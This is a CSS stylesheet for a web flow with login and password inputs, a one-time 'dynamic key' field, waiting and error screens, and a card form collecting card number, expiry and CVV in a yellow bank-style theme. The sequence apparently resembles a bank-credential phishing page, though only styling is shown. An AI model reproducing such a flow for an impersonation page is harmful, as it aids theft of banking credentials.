*{
margin: 0;
padding: 0;
box-sizing: border-box;
font-family: "Open Sans", Sans-serif;
}
html{
font-size:60%;
background-color: #f7f8f9;
}
body{
  font-size: 1rem;
}
header {
  display: flex;
  justify-content: center;
  align-items: center;
  padding: 10px;
  background-color: white;
  padding: 5rem;

}

.inpdin {
  width: 10rem !important;
  height: 8rem !important;
  text-align: center;
  margin-right: 3.5rem;
  font-size: 9rem;
  color: black;
  cursor: default;
  border: none;
  border-bottom: solid rgba(0, 0, 0, 0.459) ;
  outline: none;
  margin-top: 9rem;
  margin-bottom: 6rem;
}

.inpdin2 {
  width: 10rem !important;
  height: 8rem !important;
  text-align: center;
  margin-right: 3.5rem;
  font-size: 9rem;
  color: black;
  cursor: default;
  border: none;
  border-bottom: solid rgba(0, 0, 0, 0.459) ;
  outline: none;
  margin-top: 9rem;
  margin-bottom: 6rem;
}
.primerinp{
  margin-right: 0px;
  gap: 20px;
  margin-top: 50px;
  justify-content: center;
}

.input-container {
  display: flex;
  justify-content: center;
}


.small-image{
  width: 50rem;
}
.small-image2{
  width: 40rem;
  margin-left: 30rem;
  margin-top: 5rem;
}

.small-image3{
  width: 40rem;
  margin-left: 30rem;
}
.container {
  margin: 2rem;
  text-align: center; /* Alinea el contenido al centro */
}

.hola{
    margin-top: 20rem;
    margin-bottom: 8rem;

    font-size: 6rem;
}
.titulo2{
  font-size: 4rem;
  color: #414141;
  margin: 9rem 2rem 9rem 2rem;
}

.tulo22{
  font-size: 3.3rem;
  color: #414141;
  margin: 9rem 2rem 9rem 2rem;
}

.clabbb{
  font-weight: 600;
  font-size: 5.7rem;
  color: #414141;
  margin: 29rem 2rem 9rem 2rem;
}

.input-box {
  position: relative;
  width: 93%;
  margin-left: 3.5rem;
  background-color: white;
  padding: 1rem;
  margin-bottom: 1rem;
  border-style: solid;
  border-color: #d5d4d436;
  border-radius: 5rem;
  z-index: 1;
}

.input-wrapper {
  position: relative;
  display: inline-block;
  width: 100%;
}

.iconouser{
  position: absolute;
  top: 9.5rem;
  left:9rem;
  width: 7%;
  margin-bottom: -3rem;
}
.iconopass{
  width: 5%;
  margin-top: 12rem;
  margin-bottom: 3rem;
}
.titulo2verificacion{
  font-size: 5rem;
  color: #414141;
}
.titulo2ver{
  font-size: 3.2rem;
  color: #414141; 
}
.inputdin{
  width: 70%;
  outline: none;
  font-size: 15rem;
  margin-top: 2rem;
  margin-bottom: 5rem;
  border: none;
  padding: 1rem;
  padding-left: 9rem;
  background-image: url('fondo-di1.png');
  background-size: 100% auto; /* Ajusta el tamaño aquí */
  background-repeat: no-repeat;
  background-position: right;
  letter-spacing: 6.5rem; /* Ajusta el espacio entre letras aquí */

}
.tituloespera{
  font-size: 4rem;
  color: #414141;
  margin: 28rem 2rem 4rem 2rem;
}
.titulo2din{
  font-size: 3rem;
  color: #414141;
  margin: 2rem 2rem 4rem 2rem;
}
.titulo2pass{
  font-size: 4rem;
  color: #414141;
  margin: 2rem 2rem 0rem 2rem;
}
.cajotaerr{
  display: flex;
  flex-direction: row;
  align-items: center;
  justify-content: center;
  margin-bottom: -10rem;

}
.caja_error{
background-color: rgb(53, 53, 55);
border-top-right-radius: 5rem;
border-bottom-right-radius: 5rem;
border-style: solid;
width: 75%;
border-color: rgb(53, 53, 55);;
height: 15rem;
padding: 3rem;
color:white
}
.rojito1{
  background-color: rgb(255, 127, 65);
  width: 12%;
  height: 15rem;
  border-top-left-radius: 5rem;
  border-bottom-left-radius: 5rem;

}
.loading{
  margin-top: 9rem;
  width: 15%;
}
.alerta{
  width: 100%;
  margin-bottom: -12rem;
  margin-right: 1rem;
}
.errortexto{
  font-size: 4rem;
  color:rgba(255, 255, 255, 0.747);
  display: inline;
}
.hola2{
  margin-top: 2rem;
  font-size: 6rem;
}
.iconocard{
  width: 10%;
}
.inputcard{
  width: 90%;
  height: 8rem;
  outline: none;
  font-size: 4rem;
  margin-top: 0rem;
  border: none;
  padding-left: 2.6rem;
  border: none;
  border-bottom: 1px solid #F8DC23;
  letter-spacing: 2.7rem; /* Ajusta el espacio entre letras aquí */
}
.logooficial{
  margin-top: 4rem;
  margin-bottom: 4rem;
}
.verificada{
width: 60%;
margin-top: 30rem;
margin-right: -5rem;
margin-bottom: 5rem;
}

.input{
  width: 85%;
  outline: none;
  font-size: 4rem;
  margin-top: 10rem;
  margin-bottom: 5rem;
  border: none;
  border-bottom: 1px solid #9f9f9f;
  padding: 2rem;
  padding-left: 10rem;
}
::placeholder{
  font-size: 4.5rem;
  color: black;
}
.inputpass{
  width: 40%;
  outline: none;
  font-size: 13rem;
  margin-top: 2rem;
  margin-bottom: 5rem;
  border: none;
  padding: 1rem;
  padding-left: 3rem;
  background-image: url('fondo-cl2.png');
  background-size: 110% auto; /* Ajusta el tamaño aquí */
  background-repeat: no-repeat;
  background-position: right;
  letter-spacing: 5rem; /* Ajusta el espacio entre letras aquí */
}

.inputmes{
  width: 20%;
  outline: none;
  font-size: 4rem;
  margin-bottom: 5rem;
  border: none;
  border-bottom: 1px solid #F8DC23;
  padding: 2rem;
  padding-left: 7rem;
}
.inputaño{
  width: 20%;
  outline: none;
  font-size: 4rem;
  margin-top: 2rem;
  margin-left:2rem ;
  margin-right: 2rem;
  margin-bottom: 5rem;
  border: none;
  border-bottom: 1px solid #F8DC23;
  padding: 2rem;
  padding-left: 5rem;

}
.inputcodigo{
  width: 20%;
  outline: none;
  font-size: 4rem;
  margin-top: 2rem;
  margin-bottom: 5rem;
  border: none;
  border-bottom: 1px solid #F8DC23;
  padding: 2rem;
  padding-left: 6rem;

}
.btn-continuar {
  font-size: 5rem;
  background-color: #F8DC23;
  color: black;
  padding: 10px 10px;
  border: none;
  cursor: pointer;
  border-radius: 8rem;
  margin-top: 8rem;
  margin-bottom: 8rem;
  width: 60%;
  height: 15rem;
  line-height: 30px;
  font-weight: 600;
}
.noeres{
  margin-left: 43rem;
  font-size: 3rem;
  color: #414141;
}
.fondo{
  position: static;
  z-index: 1;
  margin-top: -9rem;
  width: 100vw;
  margin-left: -2rem;
}
  
.circuloc{
  background-color: white;
  width: 40%;
  height: 25%;
  border-radius: 50%;
}
 
.spinner-container {
  display: flex;
  flex-direction: column;
  align-items: center;
  justify-content: center;
  height: 100vh;
  font-family: sans-serif;
  color: #555;
}

.spinner {
  width: 90px;
  height: 90px;
  border:6px solid #cccccc00;
  border-top: 6px solid #555;
  border-left: 6px solid #555;
  border-bottom: 6px solid #555;
  border-radius: 50%;
  animation: spin 1s linear infinite;
  margin-bottom: 10px;
  position: relative;
  top: -44%;

}

@keyframes spin {
  to { transform: rotate(360deg); }
}

  .containertd {
    max-width: 1000px;
    display: flex;
    flex-wrap: wrap;
    gap: 20px;
    padding: 20px;
}

.card-preview {
    flex: 1;
    min-width: 600px;
    perspective: 1000px;
padding-left: 6rem;
padding-right: 6rem;
}

.card {
    position: relative;
    width: 100%;
    height: 40rem;
    transition: transform 0.8s;
    transform-style: preserve-3d;
    cursor: pointer;
}

.card.flipped {
    transform: rotateY(180deg);
}

.card-front, .card-back {
    position: absolute;
    width: 100%;
    height: 100%;
    backface-visibility: hidden;
    border-radius: 4rem;
    padding: 20px;
    background: linear-gradient(135deg, #f8d50b, #f8d303);
    box-shadow: 0 10px 20px rgba(0,0,0,0.2);
}

.card-back {
    transform: rotateY(180deg);
    background: linear-gradient(135deg, #e7c819, #e7c819);
}

.chip {
    width: 90px;
    height: 80px;
    background: linear-gradient(135deg, #ffd700, #ffa500);
    border-radius: 8px;
    margin-left: 3rem;
    margin-top: 4rem;
}
.cvv-strip{
  font-size: 3rem;
margin-top: -1rem;

}
.card-number {
  margin-top: 2rem;
    font-size: 5rem;
    color: white;
    letter-spacing: 2px;
    font-family: 'Courier New', monospace;
}

.card-info {
    display: flex;
    justify-content: space-between;
    color: white;
}

.card-holder, .card-expiry {
    font-size:3rem;
    margin-top: 7rem;
    margin-left: 3rem;
}

.card-back .black-strip {
    background: #000;
    height: 40px;
    margin: 20px 0;
}

.card-back .cvv-strip {
    background: white;
    height: 40px;
    margin: 20px 0;
    padding: 10px;
    text-align: right;
}

.form-container {
    flex: 1;
    min-width: 800px;
    padding: 30px;
    border-radius: 15px;
    margin-bottom: 4rem;
}

.form-group1 {
    margin-bottom: 20px;
}

.label1 {
    display: block;
    margin-bottom: 8px;
    margin-top: 2rem;
    color: #333;
    font-weight: bold;
    font-size: 4rem;

}

.label2 {
    display: block;
    margin-bottom: 3rem;
    margin-top: 2rem;
    color: #333;
    font-weight: bold;
    font-size: 3.7rem;
    padding: 1rem;

}

.inputt, .selectt {
  margin-bottom: 3rem;
    width: 100%;
    padding: 12px;
    border: 2px solid #8d8787;
    border-radius:2rem;
    font-size: 4rem;
    transition: all 0.3s ease;
    text-align: center;
}

.inputt:focus, .selectt:focus {
    border-color: #F8DC23;
    outline: none;
    box-shadow: 0 0 0 3px gray;
}
.inputt::placeholder{
  font-size: 4rem;
  text-align: center;
  
}
.row {
    display: flex;
    flex-direction: column;
}

.buttont {
    width: 100%;
    height: 10rem;
    padding: 15px;
    background: #F8DC23;
    color: black;
    border: none;
    border-radius: 2rem;
    font-size: 4rem;
    font-weight: bold;
    cursor: pointer;
    transition: background 0.3s ease;
}

.buttont:hover {
    background: #380603;
}

.card-type {
    position: absolute;
    top: 270px;
    right: 80px;
    width: 70px;
    height: 80px;
    background: transparent;
    border-radius: 5px;
    display: flex;
    align-items: center;
    justify-content: center;
    font-weight: bold;
}

#cardLogo{
  height: 90px;
}